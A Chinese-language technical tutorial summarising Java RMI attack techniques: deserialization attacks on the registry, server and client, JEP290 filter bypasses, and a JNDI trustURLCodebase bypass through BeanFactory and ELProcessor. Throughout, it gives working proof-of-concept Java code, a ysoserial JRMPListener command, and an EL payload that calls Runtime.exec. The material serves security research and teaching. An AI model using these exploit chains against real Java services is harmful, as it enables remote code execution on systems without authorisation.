JAVA RMI常见攻击方式与总结

RMI简介

Java远程方法调用，即Java RMI（Java Remote Method Invocation）是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。它是由注册中心、服务端和客户端三部分组成。

注册中心

作为存储远程方法的代理对象的仓库。
服务端

暴露远程对象，并将其代理对象注册进 RMI Registry。一个代理对象在服务端中包含一个skeleton对象，用于接受来自stub对象的调用。
客户端

查找远程代理对象，远程调用服务对象。一个代理对象在调用该远程对象的客户端上包含一个stub对象，负责调用参数和返回值的序列化、打包解包，以及网络层的通讯过程。

攻击方式

RMI的各种攻击方式本质上是利用对象传输过程中反序列化实现的，以下是几种常见的攻击方式。

1、攻击注册中心

当服务端向注册中心注册时，注册中心会反序列化服务端绑定的对象，具体体现在sun.rmi.registry.RegistryImpl_Skel#dispatch。当服务端注册绑定的是一个恶意的对象时，就可造成反序列化漏洞。当然，由于绑定的对象需要是Remote对象，所以恶意对象需要实现使用代理类或改写注册方法才能注册绑定。

在远程方法实例化的过程中，调用的父类java.rmi.server.UnicastRemoteObject的构造方法，最终是调用了sun.rmi.server.Util#createProxy方法创建Remote的动态代理类对象并返回。

POC中的动态代理类按照createProxy方法中逻辑写即可，其中InvocationHandler子类通常选择sun.reflect.annotation.AnnotationInvocationHandler，它具有Map<String, Object>类型的属性memberValues可以很方便的绑定反序列化的恶意对象。

最终POC如下：

`Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");   Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);   constructor.setAccessible(true);   HashMap<String, Object> map = new HashMap<>();   map.put("obj", evilObject());      InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);   Remote remoteObj = (Remote) Proxy.newProxyInstance(       Remote.class.getClassLoader(),       new Class[]{Remote.class},       invocationHandler   );      Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1009);   registry.bind("AttackRegistry", remoteObj);   `

2、攻击服务端

2.1 反序列化参数

攻击服务端其中一种方法是通过反序列化远程方法参数实现的。服务端反序列化参数体现在sun.rmi.server.UnicastServerRef#dispatch方法里调用的unmarshalParameters方法，最终通过sun.rmi.server.UnicastRef#unmarshalValue方法反序列化非基本类型的参数。

 `protected static Object unmarshalValue(Class<?> var0, ObjectInput var1) throws IOException, ClassNotFoundException {       if (var0.isPrimitive()) {           ...       } else {           return var1.readObject();       }   }`

反序列化参数的利用POC比较简单，但需要服务端以Object未参数的远程方法，Demo如下：

`# 接口   public interface IRemoteMethod extends Remote {       public IRemoteMethod exploit(Object obj) throws RemoteException;   }      # 实现类   public class RemoteMethod extends UnicastRemoteObject implements IRemoteMethod {          protected RemoteMethod() throws RemoteException {       }          public IRemoteMethod exploit(Object obj) throws RemoteException {           return null;       }   }   `

然后在客户端里放上同样的接口，从注册中心获取远程方法信息，并以恶意对象调用远程方法即可。

`public static void main(String[] args) throws Exception {       IRemoteMethod remoteMethod = (IRemoteMethod) new InitialContext().lookup("rmi://192.168.78.137:1009/RemoteMethod"");       remoteMethod.exploit(evilObject());   }   `

对于非Object参数，但又是Object子类的远程方法，可以用动态代理或继承该子类的方法绕过。

3、攻击客户端

3.1 反序列化注册绑定对象

当客户端lookup时，也会从注册中心获取并反序列化注册绑定的对象，这时的反序列化是在存根sun.rmi.registry.RegistryImpl_Stub#lookup方法中进行。POC的构造也与注册中心反序列化的差不多，只是改成由注册中心注册绑定恶意类：

`Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");   Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class);   constructor.setAccessible(true);   HashMap<String, Object> map = new HashMap<>();   map.put("obj", evilObject());      InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);   Remote remoteObj = (Remote) Proxy.newProxyInstance(       Remote.class.getClassLoader(),       new Class[]{Remote.class},       invocationHandler   );      Registry registry = LocateRegistry.createRegistry(1009);   registry.bind("AttackRegistry", remoteObj);   `

3.2 反序列化返回值

当远程方法的返回值不为空，且不为基础类型时，就会对返回值进行反序列化。反序列化返回值与服务端反序列化参数的调用栈类似，最终都是通过sun.rmi.server.UnicastRef#unmarshalValue方法反序列化。

POC也很简单，远程方法直接返回恶意对象即可：

`public class AttackerRemoteMethod extends UnicastRemoteObject implements IAttackerRemoteMethod {          public Object exploit() throws RemoteException {           return evilObject();       }   }   `

4、JEP290及其绕过

JEP290是JDK9引入的规范，并且向下兼容到JDK 8u121、JDK 7u131和JDK 6u141。其核心机制是由序列化客户端实现并设置在ObjectInputStream，在反序列化过程中调用过滤器接口方法来验证正在反序列化的类、正在创建的数组的大小以及反序列化的长度、深度和反序列化时引用的数量，返回REJECTED、ALLOWED或UNDECIDED状态。他的过滤接口方法并不是默认配置的，而是通过jdk.serialFilter属性设置全局过滤接口方法或setObjectInputFilter方法设置局部过滤接口方法。

在RMI反序列化过程中仅注册中心在sun.rmi.registry.RegistryImpl#registryFilter中实现，对反序列化的深度、数组大小和反序列化的类做了限制。

`private static Status registryFilter(FilterInfo var0) {       if (registryFilter != null) {           Status var1 = registryFilter.checkInput(var0);           if (var1 != Status.UNDECIDED) {               return var1;           }       }          if (var0.depth() > 20L) {           return Status.REJECTED;       } else {           Class var2 = var0.serialClass();           if (var2 != null) {               if (!var2.isArray()) {                   return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;               } else {                   return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;               }           } else {               return Status.UNDECIDED;           }       }   }   `

4.1 UnicastRef 类绕过

UnicastRef 是RMI注册中心反序列化白名单中的类，是正常bind对象后注册中心得到的stub中的属性。

下面调试下正常的注册流程，直接在sun.rmi.registry.RegistryImpl_Skel#dispatch处，注册中心反序列化服务端bind对象开始。接着调用封装类的父类RemoteObject的自定义readObject方法。在这里会实例化Reference类UnicastRef，并调用他的readExternal反序列化。readExternal里接着调用sun.rmi.transport.LiveRef#read给UnicastRef的ref属性赋值。

`read:291, LiveRef (sun.rmi.transport)   readExternal:489, UnicastRef (sun.rmi.server)   readObject:455, RemoteObject (java.rmi.server)   ...   readObject:431, ObjectInputStream (java.io)   dispatch:76, RegistryImpl_Skel (sun.rmi.registry)   `

sun.rmi.transport.LiveRef#read方法里，主要逻辑是从输入流中获取TCPEndpoint和ObjID，来初始化LiveRef并返回。这里的TCPEndpoint记录着服务端监听的地址和端口，并且方法里保存LiveRef到输入流的操作会将TCPEndpoint保存到输入流的incomingRefTable属性中，这一步很关键。

反序列化结束后就是注册引用的流程。

在sun.rmi.transport.DGCImpl_Stub#dirty方法首先利用反序列化的UnicastRef建立连接，返回一个StreamRemoteCall对象，接着调用它的invoke方法。

invoke方法最后调用的是StreamRemoteCall对象的executeCall方法，通过getInputStream方法从conn属性获取输入流赋值给in属性，然后从输入流中获取一个字节赋给var1，进入switch语句中，为2则反序列化输入流。至此与UnicateRef绕过JEP290的流程就结束了。

`public void executeCall() throws Exception {       DGCAckHandler var2 = null;          byte var1;       try {           ...              this.getInputStream();           var1 = this.in.readByte();           this.in.readID();       } catch (UnmarshalException var11) {     ...       }          switch(var1) {       case 1:           return;       case 2:           Object var14;           try {               var14 = this.in.readObject();           } catch (Exception var10) {               throw new UnmarshalException("Error unmarshaling return", var10);           }    ...    }    ...   }   `

关于这个var1作用，查了AdoptOpenJDK的源码得知是JRMP协议中返回值的标记，正常返回值不会进行反序列化。UnicastRef绕过JEP290使用ysoserial中的JRMPlistener，其将报错返回改成反序列化的payload，实现命令执行。

最后服务端的代码如下，相比正常的流程可以控制LiveRef指向恶意的服务端ip和端口。

`public class UnicastRefBypass {          public static void main(String[] args) throws Exception {           Registry reg = LocateRegistry.getRegistry("localhost", 1009);           ObjID id = new ObjID(new Random().nextInt());           TCPEndpoint te = new TCPEndpoint("10.91.33.139", 3333);           UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));           RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);           Registry proxy = (Registry) Proxy.newProxyInstance(UnicastRefBypass.class.getClassLoader(), new Class[]{                   Registry.class           }, obj);           reg.bind("UnicastRefBypass", proxy);       }   }   `

4.2 UnicastRemoteObject类绕过

在8u231的修复中，sun.rmi.transport.DGCImpl_Stub#dirty提前为输入流filter属性设置了过滤接口方法，在后续sun.rmi.transport.StreamRemoteCall#executeCall中又捕获过滤接口方法抛出的InvalidClassException异常，清空输入流中incomingRefTable属性的值。前者使得利用UnicastRef类绕过方式在反序列化Exception返回值时无法反序列化任意类。

国外安全研究员An Trinh在8u231版本发布前提出的一种绕过方式，没有使用注册流程中注册中心发起连接到服务端的输入流，而是利用注册中心在反序列化服务端绑定的对象过程中发起JRMP请求，巧妙地绕过了过滤。

先从直接反序列化构造的对象来复现下这个POC，首先用ysoserial起一个JRMPListener 的exploit。

`java -cp ysoserial.jar ysoserial.exploit.JRMPListener 3333 CommonsCollections6 "calc"   `

然后再现在下面的POC反序列化。

`ObjID id = new ObjID(new Random().nextInt());   TCPEndpoint te = new TCPEndpoint("127.0.0.1", 3333);   UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));   RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);      RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(           RMIServerSocketFactory.class.getClassLoader(),           new Class[]{RMIServerSocketFactory.class, Remote.class},           obj   );      Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);   constructor.setAccessible(true);   UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);   Field field = UnicastRemoteObject.class.getDeclaredField("ssf");   field.setAccessible(true);   field.set(unicastRemoteObject, serverSocketFactory);      // Registry reg = LocateRegistry.getRegistry("localhost", 1009);   // reg.bind("Exploit", unicastRemoteObject);      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();   ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);   objectOutputStream.writeObject(unicastRemoteObject);      byte[] result = byteArrayOutputStream.toByteArray();      ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(result);   ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);   objectInputStream.readObject();   `

调用栈很长，先从java.rmi.server.UnicastRemoteObject#reexport方法开始。当csf或ssf属性非空时，会用csf和ssf实例化一个UnicastServerRef2对象，并调用UnicastServerRef2父类UnicastServerRef的exportObject方法。

UnicastServerRef的exportObject方法就是实现监听端口的操作。后续精彩的部分来了，监听端口的操作会调用sun.rmi.transport.tcp.TCPEndpoint#newServerSocket方法，其中会调用它的ssf属性的方法，这个ssf属性与前面UnicastRemoteObject对象的ssf属性一致，是封装RemoteObjectInvocationHandler的代理类对象。由于代理类的特性，会先调用RemoteObjectInvocationHandler类的invoke方法。再后面的调用栈与客户端调用远程方法的调用栈一致，也就是原本的注册中心变成了客户端，由于客户端没有启动JEP290设置，也就绕过了注册中心的JEP290限制。

单在实际注册绑定的过程中，构造的类会在RegistryImpl_Stub的bind方法中，序列化类的输出流ConnectionOutputStream的父类MarshalOutputStream的enableReplace属性永为true，代理类被替换为UnicastRef 造成利用链被破坏，所以实际利用中要想办法将enableReplace值改为false。ysomap中有实现方法，感兴趣可以看一看。

5、trustURLCodebase绕过

除了以上注册中心JEP290的限制之外，RMI中服务端对客户端的攻击：JNDI注入，使用rmi和ldap协议加载外部工厂类也先后受到trustURLCodebase的限制，只能从本地工厂类实例化对象。

5.1 本地工厂类绕过

使用本地工厂类进行JNDI注入和RMI协议远程加载恶意类的JNDI注入开头的调用栈基本相似，毕竟两者都是基于RMI协议的，但在javax.naming.spi.NamingManager#getObjectInstance这里开始就有所不同。在调用getObjectFactoryFromReference方法时返回的是本地正常的工厂类，这个工厂类是ObjectFactory的实现类或他的子类，然后调用工厂类的getObjectInstance方法。

现在比较通用的ObjectFactory实现类是BeanFactory，他的getObjectInstance方法会从ResourceRef对象的className属性获取类名并实例化，然后从forceString的String引用地址以=号分割获取参数名和setter方法名，并反射获取这个setter参数为String的方法，最后获取参数名的String引用地址内内容，用实例化的对象调用这个setter方法。

`public Object getObjectInstance(Object obj, Name name, Context nameCtx,                                   Hashtable<?,?> environment)       throws NamingException {          if (obj instanceof ResourceRef) {              try {                  Reference ref = (Reference) obj;               String beanClassName = ref.getClassName();               Class<?> beanClass = null;               ClassLoader tcl =                   Thread.currentThread().getContextClassLoader();               if (tcl != null) {                   try {                       beanClass = tcl.loadClass(beanClassName);                   } catch(ClassNotFoundException e) {                   }               } else {                   try {                       beanClass = Class.forName(beanClassName);                   } catch(ClassNotFoundException e) {                       e.printStackTrace();                   }               }               if (beanClass == null) {                   throw new NamingException                       ("Class not found: " + beanClassName);               }                  ...                  Object bean = beanClass.getConstructor().newInstance();                  /* Look for properties with explicitly configured setter */               RefAddr ra = ref.get("forceString");               Map<String, Method> forced = new HashMap<>();               String value;                  if (ra != null) {                   value = (String)ra.getContent();                   Class<?> paramTypes[] = new Class[1];                   paramTypes[0] = String.class;                   String setterName;                   int index;                      /* Items are given as comma separated list */                   for (String param: value.split(",")) {                       param = param.trim();                       /* A single item can either be of the form name=method                        * or just a property name (and we will use a standard                        * setter) */                       index = param.indexOf('=');                       if (index >= 0) {                           setterName = param.substring(index + 1).trim();                           param = param.substring(0, index).trim();                       } else {                           ...                       }                       try {                           forced.put(param,                                      beanClass.getMethod(setterName, paramTypes));                       } catch (NoSuchMethodException|SecurityException ex) {                           ...                       }                   }               }                  Enumeration<RefAddr> e = ref.getAll();                  while (e.hasMoreElements()) {                      ra = e.nextElement();                   String propName = ra.getType();                      if (propName.equals(Constants.FACTORY) ||                       propName.equals("scope") || propName.equals("auth") ||                       propName.equals("forceString") ||                       propName.equals("singleton")) {                       continue;                   }                      value = (String)ra.getContent();                      Object[] valueArray = new Object[1];                      /* Shortcut for properties with explicitly configured setter */                   Method method = forced.get(propName);                   if (method != null) {                       valueArray[0] = value;                       try {                           method.invoke(bean, valueArray);                       } catch (...) {                           ...                       }                       continue;                   }                   ...               }               return bean;              } catch (java.beans.IntrospectionException ie) {               ...           }       } else {           return null;       }   }   `

结合以上getObjectInstance代码逻辑，被反射的类需要符合以下条件才可被利用:

具有一个无参公有构造方法
具有一个公有、参数为String类型的方法

一些使用了tomcat-embed-el依赖的项目，或者部分tomcat和spring的版本下具有的javax.el.ELProcessor类和他的eval方法符合这些条件，最终构造出用于绑定的Remote对象如下：

`ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String) null, "", "", true, "org.apache.naming.factory.BeanFactory", (String) null);   resourceRef.add(new StringRefAddr("forceString", "a=eval"));   resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));   ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);   `